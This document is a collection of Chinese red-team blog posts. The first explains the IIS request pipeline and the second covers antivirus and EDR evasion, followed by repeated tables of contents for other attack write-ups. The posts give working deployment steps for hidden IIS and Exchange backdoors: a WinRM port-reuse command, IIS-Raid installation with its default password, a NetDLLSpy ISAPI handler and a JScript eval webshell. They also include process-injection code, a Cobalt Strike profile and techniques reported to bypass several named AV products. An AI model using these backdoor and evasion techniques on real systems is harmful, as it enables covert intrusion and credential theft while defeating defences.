这个名词相信大家都不陌生，AWVS扫描的报告里经常会出现HTTP.sys远程代码执行漏洞，而利用结果就是打蓝屏，一般也不会去测试。微软官方在Introduction to IIS Architectures对HTTP.sys的介绍：

我们可以得到一些有效信息，如：1.网络请求到达HTTP.sys之后，经过一系列处理，再交由IIS进行处理。2.http.sys工作在内核上，性能很高。

w3wp.exe

请求进入iis的请求队列后，交由对应的w3wp.exe进程进行处理，如下图：

W3wp根据请求的文件后缀，判断类型后，交由不同的逻辑进行处理，也就是最上面提及的ASP,ISAPI,CGI等。在这之前还有对请求的一系列处理，包括匿名请求处理，日志记录等。W3WP相关的配置一般在C:\Windows\System32\inetsrv\config\applicationHost.config，我们在可以看到一些对请求的修饰及处理：

ISAPI

同样在applicationHost.config里我们可以看到将.aspx文件交由isapi进行处理：

Aspnet_isapi.dll由c编写，为iis的模块。我们在.net目录C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config下也可以看到一个web.config,其中也有isapi的映射关系：

对应后缀对应c#的一些type，相对操作空间大一些。

module和hanlder

在上面我们可以看到对于.aspx文件最后由System.Web.UI.PageHandlerFactory进行处理，该类根据后缀生成对应的webhanlder来处理请求。对于hanlder我们也不会陌生，常见的ashx就是通过继承handler来实现的。此外我们发现配置文件中还有很多modules的存在。关于module和handler的关系，微软也有明确说明：

每个请求都会经过多个module来处理，最后交由一个handler进行处理。结合前面默认module所带的功能，我们能感觉到module一般是做类似修饰请求、预检请求之类的工作。

确实如此，但笔者之前这里有一个误区，以前一直以为module在hanlder之前触发，现在看来都能触发。也就是说module也可以修改响应包。配置文件中module的格式：

配置文件中hanlder的格式：

此外还有Application的概念：

我们可以看到继承了IhttpAsyncHanlder和IHttpHanler，实际上最终也是hanlder。包括Page对象，同样继承了handler，这在冰蝎中也有应用

小结

IIS整体的请求如下图：

1.用户访问请求到达HTTP.SYS。2.通过svchost.exe加载applicationhost.config，其中包括请求预处理的module和iaspi映射关系 3.经过w3wp执行modules，移交给.net进行处理。对应版本的.net根据自身配置定义isapi，加载修饰请求的module移交给对应的hanlder进行处理。

在渗透测试中的应用

HTTP.SYS 后门

主要是可以和iis进行端口复用。注册一个新的url端点不影响原本iis web应用的使用，下面是几种利用方式： 1.修改横向移动手段winrm的默认端口为443与IIS进行端口复用，实现隐蔽后门：https://paper.seebug.org/1692/ 2.通过c#反序列化漏洞直接植入listener内存后门：https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html 3.DotNet core 端口复用样例:https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/httpsys?view=aspnetcore-6.0

IIS模块后门[T1505]

在http.sys处理完后交给iis模块处理，主要由c++实现，可hook所有到达iis的请求：https://github.com/0x09AL/IIS-Raid 配置方法主要通过修改C:\Windows\System32\inetsrv\config\applicationHost.config或appcmd命令实现。以前好像看过文章很多黑产团队喜欢用这种后门，因为可以进行定制化的功能。比如判断ua或者源ip等条件，符合条件才响应，否则是正常的功能。一些应急响应的案例：https://www.wangan.com/p/7fy7fx50f86cc16b https://www.wangan.com/p/7fygf3190c55a165 目前该方法已被att&ck归类：https://attack.mitre.org/techniques/T1505/004/

.net ISAPI 后门[T1505]

在.net处理层面修改某后缀处理的hanlder：https://github.com/Ivan1ee/NetDLLSpy 配置方法主要通过修改对应版本的.net配置文件C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config实现。目前该方法已被att&ck归类：https://attack.mitre.org/techniques/T1505/004/

.net module后门

除了在iis的配置上做手脚，web应用本身也支持module的功能修饰请求：https://github.com/WBGlIl/IIS_backdoor 主要通过将该dll放入web应用的dll目录，并修改目录下的web.config的modules属性配置。使用C#开发IIS模块后门:https://y4er.com/posts/using-csharp-to-develop-the-iis-module-backdoor/#

总结

从部署后门的角度考虑，我们需要明白每个后门在什么环节触发，找到合适的方法才能在不影响网站功能的情况下hook请求或实现隐蔽后门。这些手段不仅仅实现后门功能，hook请求在红队活动中也有很大作用。我们可以hook登录请求从而记录用户的明文密码，这种方式比js挂马的记录更隐蔽。从代码审计的角度考虑，我们除了要关注web目录下的文件，要明白请求还经过iis的module，c#的module，应用的module三重额外修饰。甚至有些应用完全依靠module来实现，比如Microsoft exchange Server。

0x01 基于端口复用的WinRM后门

WinRM后门介绍

Windows 远程管理是 Windows 硬件管理功能的一个组件，通过该组件，可以对Windows 主机进行远程管理，因为WinRM基于http作为底层数据交换，所以流量会经过http.sys驱动。而通过http.sys的特性可以实现端口复用，从而将WinRM后门隐藏在正常的web通讯中。

WinRM 后门的搭建

目标机器:windows2012，Win2012及以上版本中默认开启了WinRM服务

http.sys可以使用相同的端口，只需要他们的网址前缀（urlprefixes）不相同，即可做到端口复用。使用下面的语句可以查看当前http.sys中注册的所有网址前缀。 netsh http show servicestate | findstr /r "Server\ Session HTTP" 通过下图，表明存在三个网址前缀，其中5985为WinRM服务所建立的前缀，80端口为IIS中默认页面的网址前缀。

基于http.sys的端口共享的特性只需要将WinRM的端口修改为80端口，即可做到端口复用。

修改WinRM服务的端口为80 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

通过再次查看网址前缀，发现已经修改为80/WSMAN

此时通过在浏览器中访问80端口，即可访问到IIS页面，而通过winRM的客户端，即可通过80端口使用wirm执行远程Windows系统命令。

0x02 IIS模块后门：IIS-Raid

根据《IIS请求流程和渗透测试中的应用》中讲解，在IIS处理web请求的时候，先通过http.sys处理之后，再到后面的svchost和w3wp进行处理。那么根据处理流程，在http.sys处理完后交给iis模块处理，主要由c++实现，可hook所有到达iis的请求。

2.1 构建

项目地址：https://github.com/0x09AL/IIS-Raid

一、自定义密码

在Function.h中的PASSWORD字段，默认密码为SIMPLEPASS

防止自己布置的后门被其他人利用，尝试修改成自己的密码。

二、DLL编译

Visual Studio 2017 打开之后文件-打开-项目/解决方案，选择 IISRaid-modules-IIS-Backdoor.vcxproj

注意：

选中项目出现以下问题的时候，需要选择项目-属性，修改平台工具集选择Visual Studio 2017 (v141)，应用-确定。

修改完成之后即可完成编译。

在x64-Relese下找到该编译成功的dll后门。

成功编译。

2.2 DLL部署(能命令执行的情况)

在192.168.91.20的exchange上留一个蚁剑的shell

连接的时候注意勾选忽略https证书。上传编译好的dll文件。

shell执行

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module  /image:"c:\IIS-Backdoor.dll" /add:true

此时，即完成dll部署。

尝试客户端连接服务端。

python3 iis_controller.py --url htts://192.168.91.20 --password SIMPLEPASS

此时脚本执行报错。原因是原始的项目脚本中没有针对证书做验证，简单修改一下代码，忽略证书认证。

解决方案一

在50和52行的GET和POST请求后加上verify=False以忽略https证书。如下图：

此时再去执行脚本。成功执行。

解决方案二

因为这个请求在http.sys这一步被hook，就是iis是正常的话，无所谓证书与否。命令改为

python3 iis_controller.py --url http://192.168.91.20 --password SIMPLEPASS

代码判断状态码不为200就退出，判断逻辑存在问题，403是应用程序给的响应，但是iis后门只需要iis能正常运行即可使用，所以删掉这段判断逻辑。

修改完连接成功并执行命令成功。

在执行结果带中文的时候，脚本会报错，主要是因为python3的原因，可以将此处的utf-8改为gb2312

正常执行。

密码记录

该后门还有一个记住密码的功能，主要是对POST请求发送的数据进行记录，记录在C:\\Windows\\Temp\\creds.db

但是因为exchange的请求不是常规的基于表单的认证，basic或ntlm认证，所以这里curl发送一个post请求

在exchange服务器上出现该新增文件。

同时后门也能进行记录的获取。

0x03 .net ISAPI 后门

项目地址：https://github.com/Ivan1ee/NetDLLSpy

3.1 操作环境

操作环境：server 2016 + exchange 以exchange的owa模块来部署后门部署路径

C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

新建bin目录，将项目中已经编译好的dll放入。

在该路径下新建一个web.config文件，文件内容

在iis的映射管理来看，恶意的dll伪装成正常的功能

此时在auth下访问任意的gif文件（只要结尾是gif即可）

尝试使用dll功能

https://192.168.91.20/owa/auth/1.gif?a=c&p=cmd.txt&c=ipconfig

图片显示正常

在服务器目录下生成了一个cmd.txt

内容为我们执行的ipconfig的命令结果

3.2 完成antsword的连接

与上一步操作大同小异自己编译一下c#代码

import System; 
import System.Web; 
import System.IO; 
package IsapiModu1e
{ 
  public class Handler implements IHttpHandler
  { 
    function IHttpHandler.ProcessRequest(context : HttpContext)
    { 
      context.Response.Write("If i am DJ,Will u love me") 
var I = context; var Request = I.Request; var Response = I.Response; var Server = I.Server; eval(context.Request[1]); } function get IHttpHandler.IsReusable() : Boolean{ return true}}}

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe /t:library -out:C:\Users\Administrator\Desktop\IsapiModu1e.Handler.dll C:\Users\Administrator\Desktop\IsapiModu1e.Handler.js 编译成dll文件，并放在owa的bin文件夹下。

修改auth目录下的web.config文件

访问 https://192.168.91.20/owa/auth/xxxxx.gif

蚁剑直接连接

0x04 .net module后门（适配哥斯拉）

之前完成了IIS-RAID后门的实验，除了在iis的配置上做手脚，web应用本身也支持module的功能修饰请求。 https://github.com/WBGlIl/IIS_backdoor

xxx

原始项目的部分代码，如上图。主要在部署完dll之后，通过cookie的值中获取命令值，是cmd还是powershell，还是加载shellcode。最简单在这个逻辑之前插入一段哥斯拉代码来适配哥斯拉客户端，客户端能直接连接。生成原始的哥斯拉的aspx后门，密钥密码加密方式都是默认。

直接插入到原始项目的逻辑之前。注意修改哥斯拉shell中的Context变量名称和原始函数中定义的统一。

之后直接编译成dll，在exchange的owa目录下新建一个bin文件夹。将dll上传

修改web.config内容，在标签中插入

之后访问我们的exchange的owa/auth接口浏览器报500，表示dll已经成功加载。

此时直接通过哥斯拉客户端去连接。

成功连接。

阅读原文

跳转微信打开

红队开发基础-基础免杀(四)

Thu, 25 Aug 2022 09:30:00 +0800

原创 7bits安全团队 2022-08-25 09:30 江苏

本文是《红队开发基础-基础免杀》系列的第四篇文章，主要介绍了“反射型dll注入”及“柔性加载”技术。此外，本篇是对该系列文章的一个总结，利用前面几篇文章的技术相结合，达到了bypass主流edr的效果。

红队开发基础-基础免杀(四)

引言

反射型dll注入

为什么需要反射型dll注入

常规的dll注入代码如下：

int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
 
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE）GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle); 
 
return 0;
}

主要做了几件事情：

1. 从磁盘读取dll到wchar_t数组
2. 将该payload数组写入目标内存
3. 在目标内存中找到LoadLibraryW函数
4. 通过CreateRemoteThread调用LoadLibraryW函数，参数为dll在内存中的地址。

这样的操作模式有几个很高危的点。首先，从磁盘读取dll需要考虑dll的静态免杀，对此我们可以直接写在装载器中并加密。其次，在目标内存中找到LoadLibraryW函数，需要GetProcAddress LoadLibraryW，这种调用属于很有特征的调用模式，容易被AV/EDR归类。对此我们的解决措施就是接下来要提及的反射型dll注入技术。最后，CreateRemoteThread进行远程线程注入行为本身就很高危，同时参数是LoadLibraryW的地址，一眼malware。对此我们优化调用，不再使用CreateRemoteThread进而使用创建新进程的方式结合反射型dll注入技术改变dll注入技术的调用模式。

实现思路

早期的dll注入实现原理：

上图比较清楚的写了反射型dll注入的原理，1，2，3步由A向B线程写入dll。第四步调用B线程中的embedded bootstrapper code。最后通过bootstrapper shellcode调用dll的导出函数reflective loader。

reflective loader实际上是一个自己实现的LoadLibraryW函数，从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件，最后调用DLLmain实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别，首先我们不使用远程进程/线程注入的方式，其次我们不需要bootstrapper shellcode这个部分，我们可以直接在加载器部分算出reflective loader在内存中的地址，直接调用即可。

具体实现

主要参考项目https://github.com/Allevon412/ReflectiveDLL_Sektor7

加载器部分

首先shellcode使用AES解密，这部分添加了一些c的代码加密

后来发现原本项目的release目录下有python的加密脚本：

解密载入内存后，使用GetReflectiveLoaderOffset计算出ReflectLoader函数的偏移:

最后创建线程调用ReflectLoader函数。

dll部分

ReflectiveLoader一共做了5件事：

一、解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等), 通过关键函数的hash在内存中搜索，函数hash：

遍历内存进行搜索：

二、将DLL及其相应的节写入内存中：

三、建立DLL导入表，以便DLL可以调用ntdll.dll和kernel32.dll WINAPI

四、修复重定位表：

五、调用DLL的入口点:

最终我们的恶意代码位于dllmain中，项目还是采用加载shellcode的方式上线cs。

柔性加载

限制使用具有RWX标记的内存，cs在4+可以直接进行相关配置。配置文件格式可以参考：https://bigb0sss.github.io/posts/redteam-cobalt-strike-malleable-profile/

原文作者的推荐配置：

set startrwx        "false";
set userwx          "false";
set cleanup         "true";
set stomppe         "true";
set obfuscate       "true";
set sleep_mask      "true";
set smartinject     "true";

牛刀小试

360

使用base64+xor混淆shellcode：

成功bypass:

火绒

和上述方法相同:

definder

加强shellcode的混淆：

std::string rest2_reference = "xxx@@";
std::string rest3_reference = replace(rest2_reference, "@@", "==");

依旧报毒，但是类型发生改变了，说明静态的混淆有效果：

异或的操作，比较可疑，经过测试发现是cs的shellcode出现在数组里就报毒，应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意API调用模式”，将shellcode分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

很神奇，这段并没有实现内存的切片写入，因为shellcode的大小没有达到4096，实际上相当于直接分配了个大小为4096的数组，写入了shellcode。

而且把这段代码相同的格式放外面就不行，个人感觉definder还是没有去检查内存。

可能是有语义分析的引擎，这次刚好绕过了语义分析。

macfee

同上方法可以成功bypass：

正常执行命令：

kasperky Endpoint 11 for windows

用过macfee和definder的demo2测试失败，注释掉代码加载部分不报毒，改用apc和创建进程的的方式加载内存：

SIZE_T shellSize = 4096;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);

依旧不行：

使用syscall调用NtCreateThreadEx。这里被坑了，WaitForSingleObject要使用，不然会异步，没法上线：

ANtCTE(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,
    GetCurrentProcess(),
    (LPTHREAD_START_ROUTINE)exec,
    NULL,
    NULL,
    0,
    0,
    0,
    nullptr
);
WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题:

但漏洞利用防御已经没有相关报警:

怀疑是cs本身流量特征的问题，为了验证我使用卡巴斯基本身的功能禁用了网络请求：

确实不杀也不报警了，确定是cs通信的问题。

ESET Endpoint Security

demo3报警，并且明显检测到网络连接行为

静态没有问题

主要应该还是在对内存的检测，而且感觉已经执行到了发包

下面根据《三》中的“beacon的内存加密”对demo3进行优化,使用RefleXXion工具的第二种将内存设为NO_ACCESS并通过注册异常处理还原的方式进行免杀。

设置流量的白名单：

关闭web控制后成功并上线

eset在持续在扫描内存，但一直没有权限，一直触发异常，无法进入正常的后门逻辑

能绕过内存的检测，但无法正常使用

感觉ESET一直在我程序里进行内存操作，访问到了不可访问的内存段。

可能ESET的机制是一直在扫描程序内存，也可能是想要做一些hook。

我尝试使用RefleXXion的第一种方法，将shellcode加密并使属性为RW或RX的方式加载shellcode:

可以成功上线，并且正常使用：

总结

该系列文章所有的bypass edr方法都只在用户态进行操作，已经能规避大多数AV/EDR的检测。但不乏一些edr进行了比较多的内核层面的限制，如炭黑、fireeye等。对于驱动和流量层面的免杀，后期还会有专门的文章进行介绍与学习，感谢大家的支持。

参考

https://depthsecurity.com/blog/reflective-dll-injection-in-c https://github.com/Allevon412/ReflectiveDLL_Sektor7 https://github.com/stephenfewer/ReflectiveDLLInjection https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/

阅读原文

跳转微信打开

7bits安全团队

记一次曲折的exchange漏洞利用-ProxyMaybeShell

记一次曲折的exchange漏洞利用-ProxyMaybeShell

前置知识

Exchange-SSRF导致的问题

host可控的SSRF

host不可控的SSRF

exchange反序列化漏洞

从proxyshell入手

获取内网域名版本号等信息

获取Administrator用户的DN

获取内置用户的dn

获取sid

伪造powershell接口token

调用powershell执行

导出邮件

遍历sid

SSRF2RCE

ReSSRF

反序列化利用写文件

bypass windows definder ATP

MORE

环境获取

知识星球

团队其他文章

了解更多关于xbitsplatform的信息：

记一次曲折的exchange漏洞利用-ProxyMaybeShell

记一次曲折的exchange漏洞利用-ProxyMaybeShell

前置知识

Exchange-SSRF导致的问题

host可控的SSRF

host不可控的SSRF

exchange反序列化漏洞

从proxyshell入手

获取内网域名版本号等信息

获取Administrator用户的DN

获取内置用户的dn

获取sid

伪造powershell接口token

调用powershell执行

导出邮件

遍历sid

SSRF2RCE

ReSSRF

反序列化利用写文件

bypass windows definder ATP

MORE

环境获取

知识星球

团队其他文章

了解更多关于xbitsplatform的信息：

记一次对微服务架构的渗透测试

记一次对微服务架构的渗透测试

NACOS认证绕过

NACOS结合SpringCloudGateway

SpringCloudGateway持久化

攻击服务端

总结

参考

环境获取

知识星球

团队其他文章

了解更多关于xbitsplatform的信息：

域渗透-How2MoveLaterally

团队靶场-How2MoveLaterally Write Up

介绍

知识点

打点

docker 逃逸

linux 域信息搜集

定位域用户机器

横向移动

wmi 横向移动

抓取内存

绕过 ppl

总结

参考

环境获取

知识星球

团队其他文章